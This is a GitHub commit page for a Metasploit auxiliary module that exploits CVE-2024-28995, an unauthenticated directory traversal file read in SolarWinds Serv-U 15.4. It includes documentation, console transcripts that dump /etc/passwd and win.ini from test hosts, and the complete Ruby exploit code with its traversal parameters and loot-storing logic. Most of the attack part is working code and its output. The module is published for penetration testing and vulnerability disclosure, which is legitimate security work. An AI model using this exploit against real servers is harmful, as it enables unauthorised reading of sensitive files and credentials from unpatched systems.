Skip to content

Commit

Permalink
Land #19255, Add SolarWinds Serv-U aux module
Browse files Browse the repository at this point in the history
This module exploits an unauthenticated file read vulnerability, due to
directory traversal, affecting SolarWinds Serv-U FTP Server 15.4, Serv-U
Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to the
vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are
affected.
  • Loading branch information
jheysel-r7 committed Jun 19, 2024
2 parents 5f68d93 + 06c0c73 commit bae70a4
Show file tree
Hide file tree
Showing 2 changed files with 359 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,201 @@
## Vulnerable Application
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.

For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis).

## Testing
Follow the below instruction for either Linux or Windows.
* Download a vulnerable version of SolarWinds Serv-U MFT Server, for example version `15.4.2.126`.
* Install the Serv-U Server by running the installer binary and accepting the defaults for every setting.
* Log into the Serv-U Server Management Console, and create a new Serv-U Domain. Follow the instruction and
accept the default values during setup. The newly created domain will expose a HTTP and HTTPS service bound to all
interfaces. These are the `RHOST`, `RPORT`, and `SSL` options we set in the auxiliary module.

To read a file we set the `TARGETFILE` option to the absolute path of the file we want to read. For example on Linux
we can set the target file to `/etc/passwd`, or on Windows to `C:\\Windows\win.ini`.

Note: When using `msfconsole` you will need to escape a backslash (`\ `) with a double backslash (`\\`).

On Windows, by default, the install directory is `C:\ProgramData\RhinoSoft\Serv-U\ ` and the `Serv-U.exe` service runs
as the `NT AUTHORITY\NETWORK SERVICE` user.

On Linux, by default, the install directory is `/usr/local/Serv-U/` and the `Serv-U` service runs as `root`.
The file `/usr/local/Serv-U/Shares/Serv-U.FileShares` is a SQLite database containing the absolute path of all files
shared by Serv-U, and can be downloaded and used for target file discovery. This database file is not accessible on a
Windows target, as it is locked by the `Serv-U.exe` process and cannot be opened a second time.

## Verification Steps

1. Start msfconsole
2. `use auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set STORE_LOOT false`
5. `set TARGETFILE /etc/passwd`
6. `check`
7. `run`

## Options

### STORE_LOOT
Whether the read file's contents should be stored as loot in the Metasploit database. If set to false, the files
content will be displayed in the console. (default: true).

### TARGETURI
The base URI path to the web application (default: /).

### TARGETFILE
The absolute path of a target file to read (default: /etc/passwd).

### PATH_TRAVERSAL_COUNT
The number of double dot (..) path segments needed to traverse to the root folder. For a default install of Serv-U
on both Linux and Windows, the value for this is 4. (default: 4).

## Scenarios

### A vulnerable Linux target

```
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.43
RHOST => 192.168.86.43
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 443
RPORT => 443
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set STORE_LOOT false
STORE_LOOT => false
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE /etc/passwd
TARGETFILE => /etc/passwd
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
STORE_LOOT false no Store the target file as loot
TARGETFILE /etc/passwd yes The full path of a target file to read.
TARGETURI / yes The base URI path to the web application
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
[+] 192.168.86.43:443 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
[*] Running module against 192.168.86.43
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
[*] Reading file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
mysql:x:128:136:MySQL Server,,,:/nonexistent:/bin/false
fwupd-refresh:x:129:137:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
xrdp:x:130:138::/run/xrdp:/usr/sbin/nologin
[*] Auxiliary module execution completed
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
```

### A vulnerable Windows target

```
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.68
RHOST => 192.168.86.68
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 80
RPORT => 80
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE c:\\\\Windows\\win.ini
TARGETFILE => c:\\Windows\win.ini
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_LOOT false no Store the target file as loot
TARGETFILE c:\\Windows\win.ini yes The full path of a target file to read.
TARGETURI / yes The base URI path to the web application
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
[+] 192.168.86.68:80 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
[*] Running module against 192.168.86.68
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
[*] Reading file c:\\Windows\win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[*] Auxiliary module execution completed
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
```
158 changes: 158 additions & 0 deletions modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,158 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Serv-U Unauthenticated Arbitrary File Read',
'Description' => %q{
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Module & Rapid7 Analysis
'Hussein Daher' # Original finder
],
'References' => [
['CVE', '2024-28995'],
['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'],
['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis']
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
# There are no side effects I could determine. By default there is no logging enabled by Serv-U, and in
# testing I was not able to enable logging such that any of the exploits requests were actually logged. If
# a reverse proxy/gateway is in place that will likely be able to log attacker requests, but that is not a
# default setup.
'SideEffects' => [],
'Reliability' => []
}
)
)

register_options(
[
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
OptString.new('TARGETURI', [true, 'The base URI path to the web application', '/']),
OptString.new('TARGETFILE', [true, 'The full path of a target file to read.', '/etc/passwd']),
OptInt.new('PATH_TRAVERSAL_COUNT', [true, 'The number of double dot (..) path segments needed to traverse to the root folder.', 4]),
]
)
end

def check
# We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in
# a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the
# OS version. By default, the location of the `Serv-U-StartupLog.txt` file is
# `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt`
# on Linux.
default_paths = [
'\\..',
'/../../../../ProgramData/RhinoSoft/Serv-U'
]

default_paths.each do |default_path|
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'InternalDir' => default_path,
'InternalFile' => 'Serv-U-StartupLog.txt'
}
)

return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res

next unless res.code == 200

version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/)

next unless version

os = res.body.match(/Operating System:\s+(.+)/)

return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})")
end

Msf::Exploit::CheckCode::Safe
end

def run
if datastore['TARGETFILE'].start_with? '/'
native_path_sep = '/'
target_path_sep = '\\'
target_filepath = datastore['TARGETFILE']
elsif datastore['TARGETFILE'][1, 3] == ':\\\\'
native_path_sep = '\\'
target_path_sep = '/'
target_filepath = datastore['TARGETFILE'][3..]
else
fail_with(Failure::BadConfig, 'Ensure the TARGETFILE path starts with / for a Linux target, and C:\\\\ for a Windows target.')
end

# On Windows, the default install directory is: C:\ProgramData\RhinoSoft\Serv-U\
# On Linux, the default install directory is: /usr/local/Serv-U/
# The Serv-U service, will read files from the Client directory, so /usr/local/Serv-U/Client/ on Linux
# and C:\ProgramData\RhinoSoft\Serv-U\Client\ on Windows.
# Therefore to leverage the directory traversal and navigate to the root folder on either platform will require
# 4 double dot path segments.
# We expose PATH_TRAVERSAL_COUNT to the user in case they are targeting a non default install location.
path_traversal = "#{target_path_sep}.." * datastore['PATH_TRAVERSAL_COUNT']

last_sep_pos = target_filepath.rindex(native_path_sep)

fail_with(Failure::BadConfig, 'Could not locate a path separator in the TARGETFILE path') unless last_sep_pos

if last_sep_pos == 0
internal_dir = ''
else
internal_dir = target_filepath[0..last_sep_pos - 1].gsub(native_path_sep, target_path_sep)
end

internal_file = target_filepath[last_sep_pos + 1..]

print_status("Reading file #{datastore['TARGETFILE']}")

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_get' => {
'InternalDir' => path_traversal << internal_dir,
'InternalFile' => internal_file
}
)

fail_with(Failure::UnexpectedReply, 'Connection failed') unless res

fail_with(Failure::UnexpectedReply, "Unexpected response from server. HTTP code #{res.code}.") unless res.code == 200

if datastore['STORE_LOOT']
print_status('Storing the file data to loot...')

store_loot(
internal_file,
res.body.ascii_only? ? 'text/plain' : 'application/octet-stream',
datastore['RHOST'],
res.body,
datastore['TARGETFILE'],
'File read from SolarWinds Serv-U server'
)
else
print_line(res.body)
end
end

end

0 comments on commit bae70a4

Please sign in to comment.